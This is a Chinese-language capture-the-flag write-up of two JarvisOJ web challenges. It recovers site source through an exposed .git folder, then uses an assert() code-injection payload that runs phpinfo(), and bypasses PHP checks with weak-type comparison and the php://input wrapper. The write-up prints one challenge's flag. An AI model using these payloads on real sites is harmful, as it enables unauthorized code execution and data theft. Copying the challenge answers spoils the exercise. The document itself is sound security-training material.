title:
date: 2018-07-28 13:59:35
[题目writerup链接: ] (http://grassgrass.top/2017/12/14/XXE漏洞学习及实际应用/#more)
题目链接: http://web.jarvisoj.com:32798/
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。 GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码。 Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、SQL注射等安全漏洞。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vHVxyLHy-1593529447487)(JarvisOj平台做题总结-2/1.jpg)]
查看源码 <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --> 由提示大概知道是要使page传参为flag
根据提示判断是git源码泄露: http://web.jarvisoj.com:32798/.git 返回报错403,可以确定是.git文件泄露 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R3b4cKn3-1593529447494)(JarvisOj平台做题总结-2/2.jpg)]
用Githack(git泄露脚本)获取网站文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tBwcmpXA-1593529447501)(JarvisOj平台做题总结-2/3.jpg)]
发现了flag文件,但是是空的 找到index.php,根据源代码构造绕过
<?php if (isset($_GET['page'])) { $page = $_GET['page'];# } else { $page = "home"; } $file = "templates/" . $page . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); #此处没有限制传入page参数,所以造成了注入漏洞,思路是闭合strops函数读取flag文件 assert("file_exists('$file')") or die("That file doesn't exist!"); #则限制了该文件需要在templates文件夹中,否则返回错误 #assert()简介:判断一个表达式是否成立。返回true or false;当参数为字符串时,会被当作php代码执行。 ?>闭合strops函数然后使用file_get_contents函数读取flag;或者使用system函数输出flag。
由于文件是utf-8编码,所以再变换一次字符编码则得到payload。(记得要加上#或者//注释掉后面的‘.php’)
进入phpinfo界面则证明出现漏洞
/?page=',''..')===False and phpinfo();//取得flag:
<?php // TODO //$FLAG = '61dctf{8e_careful_when_us1ng_ass4rt}'; ?>[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-io3TeZKH-1593529447508)(JarvisOj平台做题总结-2/4.jpg)]
题目链接:http://web.jarvisoj.com:32780/index.php?id=1
查看源代码根据提示进入index.phps网页 可以看出index.phps是index.php的源代码
依旧是构造绕过
<?php error_reporting(0); echo "<!--index.phps-->"; if(!$_GET['id']) { header('Location: index.php?id=1');#header()函数:重定向浏览器实现页面跳转 exit(); } #header()函数:重定向浏览器实现页面跳转,页面重定向为id=1 $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'Hahahahahaha'; return ; } #stripos函数是用于查找"."出现的位置,a用伪协议php://input $data = @file_get_contents($a,'r'); #file_get_contents() 函数把整个文件读入一个字符串中。 #两种做法一种是在本地写一个文件然后上传在自己的服务器上,然后根据10进制ip绕过(这个操作不会= =);二是用php伪协议postdata这一段数据过去(php://input可以读取没有处理的post数据) if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("flag.txt"); } #eregi,int eregi(string pattern, string string, [array regs]); ----字符串比对解析,与大小写无关。 #substr() 函数返回字符串的一部分。 #eregi("111",substr($b,0,1),"1114")=1;当$b存在时会报错且b的长度应大于5,eregi遇见 终止 #id==0弱类型比较,传入id=0a(传入0时视为空= =) else { print "work harder!harder!harder!"; } ?>故payload如下:http://web.jarvisoj.com:32780/index.php?id=0a&a=php://input&b=